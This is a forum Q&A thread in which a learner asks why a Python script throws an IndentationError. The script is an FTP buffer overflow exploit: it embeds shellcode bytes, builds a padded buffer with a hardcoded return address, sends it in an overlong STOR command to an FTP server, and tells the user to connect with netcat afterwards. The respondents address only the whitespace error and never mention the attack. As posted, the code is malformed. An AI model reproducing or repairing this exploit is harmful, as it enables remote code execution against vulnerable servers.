Solved

HELP unexpected indent error python

Posted on 2011-09-29
3
812 Views
Last Modified: 2013-11-13
Hello,
I am  learning python, but I have a  problem, I am trying to run a  python script, but I cannot  get it done. it seems  that there is  a  problem with  an   IndentationError: unexpected indent error, just before  the  except:  block.

I have  searched and  found that it might be  a  missing colon, I have  tried  several  options, but  I not able  to  find  where the problem is,

Can  anyone  help me?, any  advice please...

this is  the script:

import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "###################################"

# Shellcode

sc = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\xe2\xf4\x88\x33\xff\x3e\x9c\xa0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\xeb\xa5\x26\xa6\xc4\x1b\x84\xd3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\x14\x73";

buffer = '\x41'*966+struct.pack('<L', 0x77DF2740)+'\x42'*32+sc

try:


 ftp=FTP('192.168.13.54')
 ftp.login('ftp','ftp')
 print "\Try connecting with netcat."
 except:
 print "\nCould not Connect to FTP Server."
 try:
 ftp.transfercmd("STOR " + buffer)

 except:
 print "\nDone."

//////////***********************////////////
brown@:~#python ftpshell.py
  File "ftpshell.py", line
    except:
    ^
IndentationError: unexpected indent
0
Comment
Question by:Blkmbm9
3 Comments
 
LVL 31

Expert Comment

by:farzanj
ID: 36818835
Python is very indentation and white space sensitive.

Remove the spaces/tab in front of except:
0
 
LVL 2

Accepted Solution

by:
xeltek earned 250 total points
ID: 36819047
Hi,
Whitespace and tab are significant in Python code.

There is a tool in your Python installation. You can find a Q/A here for more information.
http://stackoverflow.com/questions/1024435/howto-fix-python-indentation
0
 

Author Closing Comment

by:Blkmbm9
ID: 36892105
Thank you  so much!
0

Featured Post

Free Tool: Subnet Calculator

The subnet calculator helps you design networks by taking an IP address and network mask and returning information such as network, broadcast address, and host range.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Does the idea of dealing with bits scare or confuse you? Does it seem like a waste of time in an age where we all have terabytes of storage? If so, you're missing out on one of the core tools in every professional programmer's toolbox. Learn how to …
When we want to run, execute or repeat a statement multiple times, a loop is necessary. This article covers the two types of loops in Python: the while loop and the for loop.
Learn the basics of if, else, and elif statements in Python 2.7. Use "if" statements to test a specified condition.: The structure of an if statement is as follows: (CODE) Use "else" statements to allow the execution of an alternative, if the …

809 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question